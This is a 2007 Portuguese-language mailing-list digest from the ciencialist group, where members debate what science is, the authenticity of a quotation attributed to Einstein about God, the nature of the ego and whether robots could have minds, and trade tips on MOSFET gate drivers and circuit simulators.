SUBJECT: Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 13:17

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> O QUE É FAZER CIÊNCIA? - por Ferrari
> Fazer ciência é fazer o que Issac Newton fez: ver o
> óbvio.

Não. Em muitos casos consiste em descobrir coisas q não são nem um
pouco óbvias.

No caso de Newton não foi a descoberta da queda dos corpos o seu
feito. Isso todo mundo conhecia e havia até uma explicação para isso:
os corpos caem porq o chão é o lugar natural deles, corpos mais
pesados cairiam mais rapidamente do q os corpos mais leves (o q
somente com Galileu foi contestado), etc. Na verdade, Galileu havia
estudado com certa sistematização a queda dos corpos e chegado a leis
importantes e refutando as afirmações baseadas em Aristóteles sobre a
queda.

A descoberta de Newton foi q a queda dos corpos e a órbita dos corpos
celestes tinham uma mesma causa - a gravitação. O casamento da
mecânica celeste com a mecânica sublunar, foi uma das primeiras
grandes unificações em Física. O q não é nem um pouco óbvio - tto é q
demorou um tempão para Newton desenvolver as ferramentas, como o
cálculo diferencial e integral, necessárias para descrever tal
fenômeno. E tão pouco óbvio q até hoje muitas pessoas desconhecem isso.

[]s,

Roberto Takata



SUBJECT: Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 13:22


Ferrari: "Fazer ciência é ver o óbvio."

Ai, ui, ops, ai.... Eu terei de violar minha promessa a mim mesmo de
não me meter em discusões absurdas, mas é por uma boa causa..:-)

Ver o óbvio??!?!?! Óbvio é que o Sol gira ao redor de nós, que as
estrelas são pregadas em uma abóboda celestial fixa, que miasmas
maléficos vindos do pântano causam as doenças, etc. Isso é óbvio, e
descobrir a realidade é bem mais difícil e complexo que isso, exige
esforço, rigor, uma mente aberta e preparada (e não apenas aberta até
o cérebro cair da cabeça..:-) e principalmente um método seguro e
confiável.

Para ajudar, postei um arquivo na lista, o Principia Matematica de
Newton, para demonstrar que não há NADA de óbvio no trabalho de
décadas desse cientista, que desenvolveu o cálculo, outra coisa nada
óbvia.

Não é preciso nem ler tudo, Ferrari, e muito menos compreender o que
está escrito (que está a léguas de distância de sua atual capacidade
em termos de conhecimentos básicos de física - antes de ficar bravo,
lembre-se de que não é demérito ignorar conhecimentos científicos, eu
mesmo não compreenderia boa parte do Principia sem esforço, mas se
recusar a aprender é), mas apenas de uma passada de olhos, e veja se
encontra qualquer coisa "óbvia".

Newton não "percebeu" que tudo caia, o que é óbvio e já havia sido
notado provavelmente até por nossos antepassados australopitecus, ele
demonstrou como as relações entre corpos poderiam ser descritas em
termos matemáticos precisos e confiáveis.

Assim fica difícil, Ferrari.:-)

Um abraço.

Homero



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 13:31

De acordo com Elsa Einstein, quando Albert gritava a casa inteira ouvia...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 07, 2007 10:12 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Vitor:

Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era
do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
Sobre deus, não entro no mérito.

bom dia,

silvio.
3
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 9:53 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Olá,

Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre
grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Victor: ...Também niguém é perfeito.

Sds,

Victor.

----- Original Message -----
From: Esteban Moreno
To: undisclosed-recipients:
Sent: Sunday, May 06, 2007 8:45 PM
Subject: [ciencialist] A idéia que Einstein fazia de Deus

A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação,
no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam
como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza
e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como
o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que
podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior,
que
se revela* no* incompreensível, é a ideia que faço de Deus».*

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Ego Humano ::: (artigo sobre interface mental)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 13:36

Caro Ferrari,

A frase "o mapa não é o território" não foi cunhada pela psicologia, mas
pela programação neurolinguística, esse pessoal confuso que acha que
descobriu o manual de funcionamento do computador humano...

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 07, 2007 11:32 AM
Subject: [ciencialist] Ego Humano ::: (artigo sobre interface mental)


>O EGO HUMANO - por Ferrari
> http://egogame.blogspot.com
>
> (sobre interface mental)
>
> Imagine que você acabou de sair do serviço e está
> voltando para casa. Ponha sua visão de extraterrestre
> e observe seu comportamento.
>
> Você anda por dezenas de ruas, faz conversões a
> direita e a esquerda até que chega em sua casa. Muito
> bem, agora que chegou, me responda (com sua visão
> extraterrestre): como você sabia quais ruas tinha que
> seguir e quais conversões tinha que fazer se não
> haviam placas na rua indicado "minha casa"?
>
> Percebe que existe um mapa mental da cidade dentro da
> sua cabeça? Percebe que dentro deste mapa existe um
> monte de setas indicando o caminho "certo" para você
> chegar na sua casa? Imagine se este mapa mental não
> existisse, como você conseguiria chegar até sua casa?
> Você não conseguiria, não é mesmo?
>
> Outro exemplo. Vamos supor que você tenha a intenção
> de coçar o nariz. Ponha sua visão de extraterrestre e
> observe seu comportamento. Primeiro você desloca a mão
> até o nariz. Depois começa a mover os dedos pra cima e
> pra baixo. Me responda enquanto move os dedos pra cima
> e pra baixo: como é que você sabe que é assim que se
> coça o nariz?
>
> Pense no seu comportamento quando vai acender a luz.
> Você olha pro interruptor, levanta o braço, estica o
> dedo, aperta o interruptor e... sucesso: a luz acende!
> Me responda (com sua visão extraterrestre): como sabe
> tudo isto?
>
> Existe uma frase metafórica criada pela psicologia que
> diz assim: "O mapa não é o território". O que
> significa isto? Significa que assim como um mapa
> (desses rodoviários) é uma construção cartográfica do
> território, assim também é o conhecimento humano: uma
> construção mental da realidade. Ou seja, assim como
> não vemos a internet diretamente com os olhos, mas
> através de uma interface eletrônica chamada windows,
> também não vemos diretamente a realidade, mas através
> de uma interface mental chamada ego (raciocínio).
>
> É comum termos a certeza ingênua e falsa de que os
> sentidos humanos nós oferecem uma visão direta da
> realidade. Não é verdade. Só conhecemos a realidade
> através do raciocínio. É fácil compreender isto.
> Basta, por exemplo, você se dar conta de que este
> monitor de computador na sua frente não está dentro da
> sua cabeça. E o que está dentro da sua cabeça? O que é
> isto que você está conhecendo? É uma re-criação do seu
> cérebro, é um mapa mental (raciocínio).
>
> É como se o cérebro fosse uma câmera de vídeo. Uma
> câmera de vídeo está em contato direto com a realidade
> e capta o movimento da realidade, porém, quanto mais
> ela capta o movimento da realidade mais ela transforma
> a realidade em imagem de vídeo. O cérebro faz a mesma
> coisa. O cérebro está em contato direto com a
> realidade e capta o movimento da realidade, porém,
> quanto mais ele capta, mais ele a transforma em
> raciocínio.
>
> A memorização dos raciocínios é o ego. Sem um ego,
> você seria totalmente incapaz de conhecer a realidade
> e, conseqüentemente, seria incapaz também de acender a
> luz, coçar o nariz ou voltar pra casa depois do
> trabalho. Para comprovar esta realidade basta observar
> a completa inabilidade dos nenéns para fazer qualquer
> coisa.
>
> Sem um ego humano você seria mesmo um extraterrestre.
>
> - - - - - - -
>
>
> QUER MAIS? TEM AQUI:
> http://egogame.blogspot.com
>
>



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 15:08

Sílvio,

O gritou que escreví não é um gritoooou!. É um gritou fuleiro, bem baixinho, quase sussurando. Se brincar, nem isso. .
Contudo, a bem da verdade, nunca lí em lugar nenhum que ele tenha se expressado do jeito postado aquí. O que ele professava
era uma religiosidade peba, à moda de Spinoza, como bem lembrou o Bulcão. Quanto a "era calmo, pacífico, muito humor... "
você tem razão.

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 07, 2007 10:12 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Vitor:

Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias. Sobre deus, não entro no mérito.

bom dia,

silvio.
3
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 9:53 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Olá,

Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Victor: ...Também niguém é perfeito.

Sds,

Victor.

----- Original Message -----
From: Esteban Moreno
To: undisclosed-recipients:
Sent: Sunday, May 06, 2007 8:45 PM
Subject: [ciencialist] A idéia que Einstein fazia de Deus

A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação, no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos. Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior, que
se revela* no* incompreensível, é a ideia que faço de Deus».*

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]

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SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 15:09

Caro Esteban,

Qual seu propósito com esse texto? De onde ele foi retirado? Nem mesmo a vó
de Einstein teria escrito algo tão pouco einsteiniano...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Esteban Moreno" <estebanlmoreno@gmail.com>
Sent: Sunday, May 06, 2007 8:45 PM
Subject: [ciencialist] A idéia que Einstein fazia de Deus


A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação, no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos. Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior, que
se revela* no* incompreensível, é a ideia que faço de Deus».*


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: A idéia que Einstein fazia de Deus
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 15:19

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Qual seu propósito com esse texto? De onde ele foi retirado? Nem
> mesmo a vó de Einstein teria escrito algo tão pouco einsteiniano...

Vai ver q é outro Einstein e não o Albert.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 15:21

Caro Ferrari,

"Lei do sempre"? Que tristeza reduzir o problema da indução de Hume a uma
verdade empacotada! O grande filósofo, assim como tantos depois dele,
concluiu que nada, absolutamente nada, pode nos garantir que um fenômeno que
aconteceu milhões de vezes irá acontecer novamente. É apenas nossa
psicologia que nos induz a esse raciocínio, pois buscamos desesperadamente
por ordem no universo.

Também é desagradável ver que você reduziu uma das descobertas de Newton a
uma trivialidade. Sim, muitos antes de Newton haviam percebido que maçãs
caem, que laranjas caem, que meteoros caem. Mas Newton foi o primeiro a
perceber que a Lua (que você não cita no seu texto) também cai. E isso não é
trivial. Nem óbvio.

Na verdade, o fato da Lua cair é tão pouco óbvio que, se fizermos essa
pergunta a vários estudantes do ensino médio, aposto que o índice de erros
será superior a 90%. Talvez nem você mesmo soubesse a resposta certa...

[ ]s

Alvaro Augusto







----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 07, 2007 8:18 AM
Subject: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método
cientifico e o tempo)


>O QUE É FAZER CIÊNCIA? - por Ferrari
> http://leisdosempre.blogspot.com
>
> (sobre o método cientifico e o tempo)
>
> Conta a história, que Issac Newton estava dormindo,
> quando uma maça caiu sobre sua cabeça. Ele poderia ter
> ignorado o incomodo e continuado seu cochilo. Mas não:
> eureka! Newton acordou da ignorancia e viu a lei da
> gravidade! Se esta história é real ou imaginária, não
> importa, ela é perfeita para ilustrar o que significa
> "fazer ciência".
>
>>>> Fazer ciência é ver o óbvio.
>
> Fazer ciência é fazer o que Issac Newton fez: ver o
> óbvio. Maças caem. Laranjas caem. Xícaras caem.
> Meteoros caem. Todas os corpos caem. É óbvio. Não há
> nenhuma novidade neste comportamento da natureza.
> Estamos cansados de ver coisas caindo, repetidas
> vezes, todos os dias, sempre. O que tem de genial em
> ver o óbvio?
>
>>>> Óbvio é sempre. (padrão repetitivo).
>
> O genial na visão de Newton não foi ver a maça caindo,
> isto ele já estava cansado de ver. O genial na visão
> de Newton foi ver que este comportamento (a queda da
> maça) era um padrão sempre.
>
>>>> Fazer ciência é ver o sempre (repetição eterna).
>
> Newton não viu a maça caindo, ele viu um fenomeno que
> se repetia sempre da mesma maneira: a queda. Depois
> viu uma inteligencia natural (lei do sempre)
> responsável por fazer aquele fenomeno se repetir
> sempre da mesma maneira. Porém, para Newton ver esta
> inteligencia natural (lei do sempre), Newton não usou
> os mesmos olhos que ele usava para ver as coisas
> (fisicas).
>
>>>> Fazer ciência é ver as leis do sempre com os olhos
> da lógica.
>
> Maças caem sempre. Laranjas caem sempre. Xícaras caem
> sempre. Meteoros caem sempre. Todas os corpos caem
> sempre. SE tudo na natureza sempre cai, LOGO, cair é
> uma lei eterna na natureza. SE repete Sempre, LOGO,
> segue Sempre a mesma regra.
>
>>>> Fazer ciência é imaginar as leis do sempre.
>
> Newton não criou o comportamento repetitivo da
> natureza (a queda), mas ele foi o primeiro a imaginar
> um raciocínio (teoria) que explica este comportamento.
> Esta raciocínio (teoria) que ele imaginou é
> popularmente conhecida como "lei da gravidade".
>
>>>> Conhecimento cientifico é um livro de raciocínios
> (teorias) sobre o sempre.
>
> Ao raciocinar o fenomeno da queda e imaginar a lei da
> gravidade, Newton contribuiu para mais uma página
> deste livro de suposições sobre o sempre que chamamos
> de conhecimento cientifico.
>
>>>> Conhecimento cientifico é uma tentativa de prever
> o futuro.
>
> Se as leis naturais que irão reger o momento futuro
> são exatamente as mesmas leis que estavam regendo o
> passado --- ou seja, se são mesmo leis eternas --- e
> se a forma como raciocinamos estas leis são
> equivalentes a realidade --- então, uma teoria
> cientifica (regra cientifica) dá ao cérebro o
> conhecimento desta lei e, consequentemente, a
> capacidade de pré-visão do futuro através da simulação
> mental.
>
>>>> A teoria cientifica (regra cientifica) otimiza o
> sucesso no objetivo.
>
> Uma teoria cientifica, por ser fruto de muita
> experiência, minimiza a possibilidade de erro e
> otimiza a possibilidade de acerto dos seus usuários.
> Por exemplo, se a regra cientifica diz que chove no
> verão e faz frio no inverno, uma pessoa pode usar esta
> regra cientifica, por exemplo, para obter sucesso na
> agricultura da cana de açúcar.
>
>
> - - - - - - -
>
>



SUBJECT: Re: [ciencialist] Re: Chaveamento com MOSFET IRFZ44N
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 15:37

Vitor:

Escreva para o meu filho Silvio Lúcio - silviogontijo@superig.com.br
e peça a ele uma cópia do programa para projetos de eletrônica: fantástico. Só não sei se vai como anexo: creio que vá. Deletei o meu pois essa não é minha praia...

boa tarde,

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 8:08 AM
Subject: Re: [ciencialist] Re: Chaveamento com MOSFET IRFZ44N


Deu saudades dos tempos em que estudei trabalhei com coisas do tipo.
Fui ao site indicado, que não conhecia, e lá indicaram um simulador que não conhecia:
o Circuit Maker. Na versão demo há 50 dispositivos dsp, inteiramente funcionais,
que dá para fazer muita coisa. Testei a versão. E recomendo para estudantes de
eletrônica. No google, "circuit maker download" fará você chegar lá e baixar muita coisa.
Substitui laboratórios e evita que você fique queimando
os sensíveis mosfets em suas experiências. O Multisim, mesmo na versão full,
não é tão simples e tão interativo quanto. Tempos danados aqueles, que não tinha
as facilidades de hoje. Já se fazem projetos de circuitos eletrônicos mais simplesmente
que nos antigamente. Coisas das eras.

Sds,.
Victor.

----- Original Message -----
From: Tipoalgo
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, May 05, 2007 9:59 PM
Subject: [ciencialist] Re: Chaveamento com MOSFET IRFZ44N

Olá a todos.

O Alexandre Salles do grupo Eletronicabr
(http://br.groups.yahoo.com/group/eletronicabr/messages) deu a dica:

On 5/5/07, Alexandre Salles <salles.eng@...> wrote:
> Os que estão com dreno no positivo da fonte os gates deverão ser
acionados
> com tensão maior que a tensão da fonte para que trabalhem saturados.
>
> Para aciona-los pode-se usar High Voltage Gate Drivers (HVICs) que
> internamente tem "charge-pump" para elevar a tensão no gate. Olhe em
> www.irf.com o IR2111.
>
> até mais,
>
> Alexandre Salles

Outra dica dada pelo Marco Dal Poz:

>Melhor que isso: os que tem source ligado ao GND são MOSFET canal-N,
>os outros 3 deveriam ser MOSFET canal-P com source ligado ao VCC.

Neste caso os pulsos no gate deveriam ser desafados.

Abraços
Tipoalgo

[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 15:52

Victor:

Sua argumentação apresenta só um deslise: você está misturando um conceito religioso, inexistente - deus - na diligência humana.

Observe que, desde Tales o homem ocidental se preocupa em observar a natureza e dela extrair conhecimentos para auxiliá-lo em suas lides.
Neste século, a robótica tem grande expansão, é patéria de curriculo escolar, em alguns anos alcançará patamares insususpeitáveis, principalmente com os sofisticados equipamentos existentes, como o CERN na Europa.
Tudo reside em o homem criar um elemento físico ou mesmo orgânico semelhante aos neurônios que tem dupla função: guardam as informações que o indivíduo assimina mesmo subjetivamente do meio ambiente, por meio dos sentidos e posteriormente poder usar esses elementos arquivados em idéias para criação de outros elementos (deveríamos, filosóficamente chamar simplesmente de "coisas":).
Está matada a charada. coisa muito simples,,,,
Mas, observe, tais robôs deverão, no início, serem construidos para atividades específicas como hoje já trabalham na indústria, sem forma humana: tudo acontece gradativamente, ao longo do tempo de existência dos humanos. É preciso aguardar e colocar a moçada no estudo.

quem sabe, um dia.....

O grande roblema que vejo será programar um orgasmo...

boa tarde,

silvio.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 6:39 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO


Mestre Sílvio.

Sílvio: Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

Victor: Mas é só idéia. Nem mais nem menos que isso.
A implementação de algo assim
não demandaria, sequer, um tempo infinito! Apesar de meu respeito
pela ciência e ter conhecimento dos desenvolvimentos do ramo científico
Inteligência Artificial, não vislumbro coisas a nível do que expressa a
frase
objeto destas poucas e mal traçadas linhas. Vislumbro, sim, como ora já
acontece,
o uso da I.A para controles cada vez mais sofisticados, cada vez mais
sofisticados,
cada vez mais... Mas é só. E olha que não sou espiritualista, que nega tais
coisas pela simples
razão de que, assim, o homem estaria fazendo o mesmo que God. Que disparate,
sô!
Minhas razões disso nada têm.
Já pensou como seria interessantse um fórum, de nome "Ciencyborg", criado
por CyBrudna,
cujos participantes fossem todos robôs? Que discutissem assim, como os
do Ciencialist? Com direito a coisas prá lá de úteis, inteligentes e
interessantes,
seja a nível de contestatações, seja a nível de defesas, ou mesmo a nível
das besteiradas que, vez ou outra
mais vez do que outra, ultimamente, surgem? Tais robôs seriam incapazes
até mesmo de, sem uma programação
específica, discernirem e praticarem asnices. Ou alguém faz a sintaxe
correta, sem um mero pontinho a mais ou a menos
ou nada funciona.
Adoraria presenciar um discussão intelectual de um desses sobre as o
Discurso do Método, Esquesitices do óbvio,
um enfrentamento das idéias do Alberto Mesquita, ou mesmo um embate poético
com um Catulo da Paixão Cearense,
uma "simples" cantoria com um destes cantadores do Nordeste, como o meu pai
ou o Pinto do Monteiro(ambos falecidos), entre outros exemplos. Ah, bota
ele prá discutir com Ferrari, bota! Prá ver se não espirra sangue(digo,
óleo) e fumaça por todo canto!
Só não por alí, que por alí nem teria. Quem já viu Cyborg que se preze com
"por alí", ora!
Olha, as engrenagens do bicho se engriparão nos primeiros minutos.
Pago prá ver, se estou dizendo asnices(que seriam incapazes de dizerem,
"conscientemente"). E, se pagar, complementarei a dívida plantando
"baneira", em praça pública, sem
zorba, com uma vela pingando na direção da linha reta que passa pelo centro
da cabeça.
Tinha muita graça!

Sds,
Victor.

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, May 05, 2007 7:33 PM
Subject: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Takata:

Peço seu abalizado parecer nesta questão.

sds.,

silvio.
----- Original Message -----
From: Pesky Bee
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 5:36 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Putz, constantor, começou dizendo que concorda mas logo
em seguida discorda. A questão é encarar os neurônios
biológicos como processos físicos que manipulam informação.
Sob esse aspecto, neurônios ou transístores, não importa,
são processos físicos processando informação. E pode ser
que você reclame de eu ser um reducionista do caralho,
mas afetividade, intuição e imaginação podem ser reduzidos,
em última instância, à atividade neural. Hoje não sabemos
em detalhes como isso opera, mas sabemos que não parece
haver nada "além de neurônios" no pensamento e sentimento
humanos (e quem estuda neurociência sabe disso desde o
primeiro momento). Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

*PB*

----- Original Message -----
From: constantor
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 3:17 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

concordo, caro.

mas isto não retira o caráter de simulação que está envolvido na
inteligência artificial. Sempre será uma máquinha que reproduz, por
meio de mecanismos, uma realidade que existe enquanto tal somente no
homem.

E a própria idéia de reduzir à inteligência humana a uma mera
calculadora demonstra isto. Vamos dizer que o homem seja apenas esta
dinãmica enloquecida empreendida pelos neurônios. Esta dinâmica gera
coisas em nõs, que uma calculadora gigante não reproduz. Como eu
estava falando com o John, a racionalidade humana não e´despida dos
elementos de afetividade, intuição, imaginação, e vários estados de
consciencia que só nós vivenciamos. Máquinhas fazem cálculos somente.

--- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@...>
escreveu
>
> E o cérebro biológico estará meramente fazendo um bando
> de neurônios dispararem loucamente. Basta usarmos um
> nível de análise diferente para máquinas e cérebros
> serem muito dissimilares. Agora, se nos fixarmos em um
> mesmo nível (e falarmos em, por exemplo, "estados mentais",
> representação de informação, conceituação, heurística, etc.)
> podemos melhor compará-los. Inteligência artificial só pode
> ser entendida se houver comparação no mesmo nível de
> análise. Capiche?
>
> *PB*
>
>
>
> ----- Original Message -----
> From: constantor
> To: Acropolis_@yahoogrupos.com.br
